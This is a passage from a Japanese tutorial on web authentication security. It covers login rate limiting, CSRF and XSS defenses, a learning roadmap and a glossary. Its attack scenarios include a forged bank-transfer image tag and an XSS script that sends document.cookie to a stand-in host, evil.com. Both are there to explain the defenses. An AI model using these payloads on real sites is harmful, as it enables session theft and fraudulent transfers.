    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # ログイン成功、カウントをクリア
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # ログイン失敗、記録
        record_login_attempt(username)
        return {"error": "ユーザー名またはパスワードが間違っています"}, 401

5.3 CSRF 対策 (Cross-Site Request Forgery) ​

攻撃シナリオ: あなたが銀行のWebサイト bank.com にログインした後、悪意のあるWebサイト evil.com にアクセスしました。evil.com のページには次のようなコードが含まれています:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

あなたのブラウザは銀行のCookieを付けてこのリクエストを送信し(クロスドメインリクエスト)、資金が盗まれてしまいます。

防御策:

  1. CSRF Token:
    • サーバー側でランダムなTokenを生成し、フォームに埋め込む。
    • 送信時にTokenが一致するか検証する。
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # CSRF Token を検証
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token が無効です"}, 403

    # 送金を実行
    ...
  1. SameSite Cookie:
    • Cookie の SameSite 属性を Strict または Lax に設定する。
python
# Flask の例
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # または 'Strict'
    SESSION_COOKIE_SECURE=True      # HTTPS のみ許可
)
  1. JWT を使用する(Cookie を使わない):
    • JWT は localStorage に保存され、自動的に付与されないため、CSRF を自然に防ぐ。
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 XSS 対策 (Cross-Site Scripting) ​

攻撃シナリオ: 悪意のあるユーザーがコメント欄に次のように入力します:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

Webサイトがこの内容を直接レンダリングすると、他のユーザーのCookieが盗まれてしまいます。

防御策:

  1. 出力エスケープ:
    • < を &lt; に、> を &gt; に変換する。
python
import html

def render_comment(comment):
    # HTML をエスケープ
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • HTTP ヘッダーを設定し、スクリプトのソースを制限する。
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • Cookie の HttpOnly 属性を設定し、JavaScript から読み取れないようにする。
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. まとめと学習ロードマップ ​

認証はバックエンドシステムの「基本スキル」であり、これを習得して初めて安全で信頼性の高いアプリケーションを構築できます。

6.1 主要な知識ポイント ​

知識ポイント重要度難易度実践頻度
Session + Cookie⭐⭐⭐⭐中高
JWT⭐⭐⭐⭐⭐低非常に高
OAuth 2.0⭐⭐⭐⭐高高
パスワードハッシュ (bcrypt)⭐⭐⭐⭐⭐低非常に高
レート制限とブルートフォース対策⭐⭐⭐⭐⭐中非常に高
CSRF 防御⭐⭐⭐⭐中中
XSS 防御⭐⭐⭐⭐低高

6.2 学習ロードマップ ​

  1. 入門(1〜2日):

    • 認証 vs 認可を理解する。
    • Session + Cookie の原理を習得する。
    • 簡単なログイン登録機能を実装する。
  2. 応用(1週間):

    • JWT の原理と実装を学ぶ。
    • JWT ベースの認証システムを実装する。
    • パスワードハッシュ(bcrypt)を習得する。
  3. 実践(2〜4週間):

    • OAuth 2.0(WeChat、Google ログイン)を統合する。
    • レート制限、ブルートフォース攻撃対策を実装する。
    • CSRF、XSS などの一般的な攻撃を防御する。
  4. 深掘り(継続的):

    • RBAC(ロールベースアクセス制御)を学ぶ。
    • SSO(シングルサインオン)を研究する。
    • Zero Trust Architecture(ゼロトラストアーキテクチャ)を探求する。

6.3 推奨リソース ​

  • 標準:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • 記事:
    • JWT.io: https://jwt.io/
    • OAuth 2.0 簡体字中国語版: https://oauth.net/2/
  • ツール:
    • jwt.io (JWT オンラインデバッグ)
    • Postman (API テスト)

7. 用語早見表 (Glossary) ​

用語正式名称説明
AuthNAuthentication認証。「あなたは誰か」を確認する(パスワード入力による身元確認など)。
AuthZAuthorization認可。「あなたが何ができるか」を確認する(管理者のみ削除可能など)。
Session-セッション。サーバー側に保存されたユーザーの状態情報。
Cookie-クッキー。ブラウザに保存される小さなデータで、リクエストごとに自動的に送信される。
JWTJSON Web TokenJSON Web トークン。ステートレスな認証方式で、Header、Payload、Signature の3部構成。
OAuth 2.0-オープン認可。「WeChatでログイン」のようなサードパーティログインの標準化フレームワーク。
SSOSingle Sign-Onシングルサインオン。一度ログインすれば複数のアプリにアクセス可能(Google アカウントで全 Google サービスにログインするなど)。
RBACRole-Based Access Controlロールベースアクセス制御。ユーザーのロール(admin、user など)に基づいて権限を決定する。
CSRFCross-Site Request Forgeryクロスサイトリクエストフォージェリ。攻撃者がユーザーを誘導して悪意のあるリクエストを送信させる(Cookie を使って送金させるなど)。
XSSCross-Site Scriptingクロスサイトスクリプティング。攻撃者がWebページに悪意のあるスクリプトを注入する(Cookie の盗難など)。
bcrypt-パスワードハッシュアルゴリズム。パスワード保存専用に設計された低速ハッシュアルゴリズムで、ブルートフォース攻撃を防ぐ。
Access Token-アクセストークン。短期有効のトークンで、API へのアクセスに使用する。
Refresh Token-リフレッシュトークン。長期有効のトークンで、新しい Access Token を取得するために使用する。
Scope-権限範囲。OAuth 2.0 における概念で、サードパーティアプリが要求する権限(ユーザー情報の読み取りなど)を表す。
PKCEProof Key for Code Exchange認可コード交換の証明キー。OAuth 2.0 の拡張で、パブリッククライアント(SPA など)のセキュリティを強化する。
Edit this page on GitHub
Pager
前のページシリアライズ:データ形式の翻訳と変換
次のページ並行処理:プロセス・スレッド・コルーチンの比較

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可